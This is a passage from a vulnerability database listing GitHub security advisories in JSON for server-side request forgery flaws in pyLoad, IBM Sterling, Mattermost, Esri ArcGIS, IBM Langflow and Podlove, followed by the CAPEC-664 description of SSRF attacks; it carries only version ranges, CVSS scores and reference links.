"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host"
}
GHSA-P3QC-MH98-4VQ5
Vulnerability from github – Published: 2022-07-20 00:00 – Updated: 2022-07-28 00:00IBM Sterling Partner Engagement Manager 6.1.2, 6.2, and Cloud/SasS 22.2 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 223126.
{
"affected": [],
"aliases": [
"CVE-2022-22416"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-19T17:15:00Z",
"severity": "MODERATE"
},
"details": "IBM Sterling Partner Engagement Manager 6.1.2, 6.2, and Cloud/SasS 22.2 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 223126.",
"id": "GHSA-p3qc-mh98-4vq5",
"modified": "2022-07-28T00:00:53Z",
"published": "2022-07-20T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22416"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/223126"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6604989"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P3QG-H7R3-79XR
Vulnerability from github – Published: 2026-06-26 15:32 – Updated: 2026-06-26 15:32Mattermost versions 10.11.x <= 10.11.18, 11.6.x <= 11.6.3, 11.5.x <= 11.5.6 fail to validate attachment URLs against internal or private IP ranges in the Mattermost Agents plugin MCP server which allows an attacker with access to the MCP server in stdio mode to perform server-side request forgery (SSRF) and exfiltrate data from internal network services via supplying internal URLs as file attachments in post creation requests.. Mattermost Advisory ID: MMSA-2026-00635
{
"affected": [],
"aliases": [
"CVE-2026-4339"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-26T15:16:39Z",
"severity": "MODERATE"
},
"details": "Mattermost versions 10.11.x \u003c= 10.11.18, 11.6.x \u003c= 11.6.3, 11.5.x \u003c= 11.5.6 fail to validate attachment URLs against internal or private IP ranges in the Mattermost Agents plugin MCP server which allows an attacker with access to the MCP server in stdio mode to perform server-side request forgery (SSRF) and exfiltrate data from internal network services via supplying internal URLs as file attachments in post creation requests.. Mattermost Advisory ID: MMSA-2026-00635",
"id": "GHSA-p3qg-h7r3-79xr",
"modified": "2026-06-26T15:32:15Z",
"published": "2026-06-26T15:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4339"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P3V9-28PC-Q5P2
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37Esri ArcGIS Server before 10.8 is vulnerable to SSRF in some configurations.
{
"affected": [],
"aliases": [
"CVE-2020-35712"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-26T00:15:00Z",
"severity": "CRITICAL"
},
"details": "Esri ArcGIS Server before 10.8 is vulnerable to SSRF in some configurations.",
"id": "GHSA-p3v9-28pc-q5p2",
"modified": "2022-05-24T17:37:21Z",
"published": "2022-05-24T17:37:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35712"
},
{
"type": "WEB",
"url": "https://support.esri.com/en/bugs/nimbus/QlVHLTAwMDEyODA2MA=="
},
{
"type": "WEB",
"url": "https://support.esri.com/en/technical-article/000022931"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P3WX-FRQ4-QX69
Vulnerability from github – Published: 2026-09-14 21:31 – Updated: 2026-09-14 21:31IBM Langflow OSS 1.0.0 through 1.10.2 is vulnerable to server-side request forgery (SSRF). This may allow an unauthenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.
{
"affected": [],
"aliases": [
"CVE-2026-12765"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-14T21:17:00Z",
"severity": "MODERATE"
},
"details": "IBM Langflow OSS 1.0.0 through 1.10.2 is vulnerable to server-side request forgery (SSRF). This may allow an unauthenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
"id": "GHSA-p3wx-frq4-qx69",
"modified": "2026-09-14T21:31:46Z",
"published": "2026-09-14T21:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12765"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7285644"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P44R-3X7C-4H83
Vulnerability from github – Published: 2024-04-24 09:30 – Updated: 2026-04-28 21:34Server-Side Request Forgery (SSRF) vulnerability in Podlove Podlove Podcast Publisher.This issue affects Podlove Podcast Publisher: from n/a through 4.0.11.
{
"affected": [],
"aliases": [
"CVE-2024-32812"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-24T08:15:40Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Podlove Podlove Podcast Publisher.This issue affects Podlove Podcast Publisher: from n/a through 4.0.11.",
"id": "GHSA-p44r-3x7c-4h83",
"modified": "2026-04-28T21:34:52Z",
"published": "2024-04-24T09:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32812"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/podlove-podcasting-plugin-for-wordpress/wordpress-podlove-podcast-publisher-plugin-4-0-11-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.